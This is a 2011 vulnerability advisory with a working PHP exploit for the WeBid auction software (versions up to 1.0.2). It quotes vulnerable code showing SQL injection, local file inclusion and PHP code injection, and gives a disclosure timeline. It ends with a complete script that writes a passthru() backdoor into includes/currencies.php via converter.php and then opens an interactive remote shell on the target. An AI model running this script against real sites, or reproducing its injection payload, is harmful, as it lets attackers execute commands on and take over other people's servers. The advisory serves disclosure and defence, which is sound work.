WeBid <= 1.0.2 (converter.php) Remote Code Execution Exploit

<?php

/*

------------------------------------------------------------

WeBid <= 1.0.2 (converter.php) Remote Code Execution Exploit

------------------------------------------------------------

author...: EgiX

mail.....: n0b0d13s[at]gmail[dot]com

link.....: http://www.webidsupport.com/

This PoC was written for educational purpose. Use it at your own risk.

Author will be not responsible for any damage.

[-] Vulnerable code to SQL injection in feedback.php:

154.    $query = "SELECT title FROM " . $DBPrefix . "auctions WHERE id = " . $_REQUEST['auction_id'] . " LIMIT 1";

155.    $res = mysql_query($query);

156.    $system->check_mysql($res, $query, __LINE__, __FILE__);

157.    $item_title = mysql_result($res, 0, 'title');

Input passed through $_REQUEST['auction_id'] isn't properly sanitised before being used in the SQL query at line 154.

[-] Vulnerable code to SQL injection (works with magic_quotes_gpc = off) in logout.php:

21. if (isset($_COOKIE['WEBID_RM_ID']))

22. {

23.         $query = "DELETE FROM " . $DBPrefix . "rememberme WHERE hashkey = '" . $_COOKIE['WEBID_RM_ID'] . "'";

24.         $system->check_mysql(mysql_query($query), $query, __LINE__, __FILE__);

25.         setcookie('WEBID_RM_ID', '', time() - 3600);

26. }

Input passed through $_COOKIE['WEBID_RM_ID'] isn't properly sanitised before being used in the SQL query at line 23.

[-] Vulnerable code to SQL injection (works with magic_quotes_gpc = off) in user_login.php:

84.         if (isset($_COOKIE['WEBID_ONLINE']))

85.         {

86.             $query = "DELETE from " . $DBPrefix . "online WHERE SESSION = '" . $_COOKIE['WEBID_ONLINE'] . "'";

87.             $system->check_mysql(mysql_query($query), $query, __LINE__, __FILE__);

88.         }

Input passed through $_COOKIE['WEBID_ONLINE'] isn't properly sanitised before being used in the SQL query at line 86.

[-] Vulnerable code to arbitrary PHP code jnjection (works with magic_quotes_gpc = off) in /includes/converter.inc.php:

61. function buildcache($newaarray)

62. {

63.         global $include_path;

64.

65.         $output_filename = $include_path . 'currencies.php';

66.         $output = "<?php\n";

67.         $output.= "\$conversionarray[] = '" . time() . "';\n";

68.         $output.= "\$conversionarray[] = array(\n";

69.

70.         for ($i = 0; $i < count($newaarray); $i++)

71.         {

72.                 $output .= "\t" . "array('from' => '" . $newaarray[$i]['from'] . "', 'to' => '" . $newaarray[$i]['to'] . "', 'rate' => '" . $newaarray[$i]['rate'] . "')";

73.                 if ($i < (count($newaarray) - 1))

74.                 {

75.                         $output .= ",\n";

76.                 }

77.                 else

78.                 {

79.                         $output .= "\n";

80.                 }

81.         }

82.

83.         $output .= ");\n?>\n";

84.

85.         $handle = fopen($output_filename, 'w');

86.         fputs($handle, $output);

87.         fclose($handle);

88. }

Input passed to buildcache() function through $_POST['from'] or $_POST['to'] isn't properly sanitised before being

written to currencies.php file, this can lead to arbitrary PHP code injection.

[-] Vulnerable code to LFI (works with magic_quotes_gpc = off) in /includes/converter.inc.php:

18. if (isset($_GET['lan']) && !empty($_GET['lan']))

19. {

20.         if ($user->logged_in)

21.         {

22.                 $query = "UPDATE " . $DBPrefix . "users SET language = '" . mysql_real_escape_string($_GET['lan']) . "' WHERE id = " . $user->user_data['id'];

23.         }

24.         else

25.         {

26.                 // Set language cookie

27.                 setcookie('USERLANGUAGE', $_GET['lan'], time() + 31536000, '/');

28.         }

29.         $language = $_GET['lan'];

30. }

31. elseif ($user->logged_in)

32. {

33.         $language = $user->user_data['language'];

34. }

35. elseif (isset($_COOKIE['USERLANGUAGE']))

36. {

37.         $language = $_COOKIE['USERLANGUAGE'];

38. }

39. else

40. {

41.         $language = $system->SETTINGS['defaultlanguage'];

42. }

43.

44. if (!isset($language) || empty($language)) $language = $system->SETTINGS['defaultlanguage'];

45.

46. include $main_path . 'language/' . $language . '/messages.inc.php';

Input passed through $_GET['lan'] or $_COOKIE['USERLANGUAGE'] parameter isn't properly sanitised before

being used to include files on line 46. This can be exploited to include arbitrary local files.

[-] Information leak vulnerability into /logs directory, cause anyone can read cron.log and error.log

[-] Disclosure timeline:

[19/06/2011] - Vulnerabilities discovered

[19/06/2011] - Vendor contacted

[20/06/2011] - Vendor contacted again

[21/06/2011] - No response from vendor

[21/06/2011] - Issue reported to http://sourceforge.net/apps/mantisbt/simpleauction/view.php?id=34

[22/06/2011] - Issue reported to http://www.webidsupport.com/forums/project.php?do=issuelist&projectid=1

[22/06/2011] - Vendor responsed and released patches: http://www.webidsupport.com/forums/showthread.php?3892

[04/07/2011] - Public disclosure

*/

error_reporting(E_ERROR);

set_time_limit(0);

if (!extension_loaded("curl")) die("cURL extension required\n");

$ch = curl_init();

curl_setopt($ch, CURLOPT_HEADER, 1);

curl_setopt($ch, CURLOPT_VERBOSE, 0);

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);

function http_post($page, $data)

{

global $ch, $url;

curl_setopt($ch, CURLOPT_URL, $url.$page);

curl_setopt($ch, CURLOPT_POST, true);

curl_setopt($ch, CURLOPT_POSTFIELDS, $data);

return curl_exec($ch);

}

print "\n+----------------------------------------------------------------------+";

print "\n| WeBid <= 1.0.2 (converter.php) Remote Code Execution Exploit by EgiX |";

print "\n+----------------------------------------------------------------------+\n";

if ($argc < 2)

{

print "\nUsage......: php $argv[0] <url>\n";

print "\nExample....: php $argv[0] https://localhost/";

print "\nExample....: php $argv[0] http://localhost/webid/\n";

die();

}

$url = $argv[1];

$code = rawurlencode("\0'));print('_code_');passthru(base64_decode(\$_POST['c'])//");

http_post("converter.php", "action=convert&from=USD&to={$code}");

while(1)

{

print "\nwebid-shell# ";

if (($cmd = trim(fgets(STDIN))) == "exit") break;

preg_match("/_code_(.*)/s", http_post("includes/currencies.php", "c=".base64_encode($cmd)), $m) ? print $m[1] : die("\n[-] Exploit failed\n");

}

?>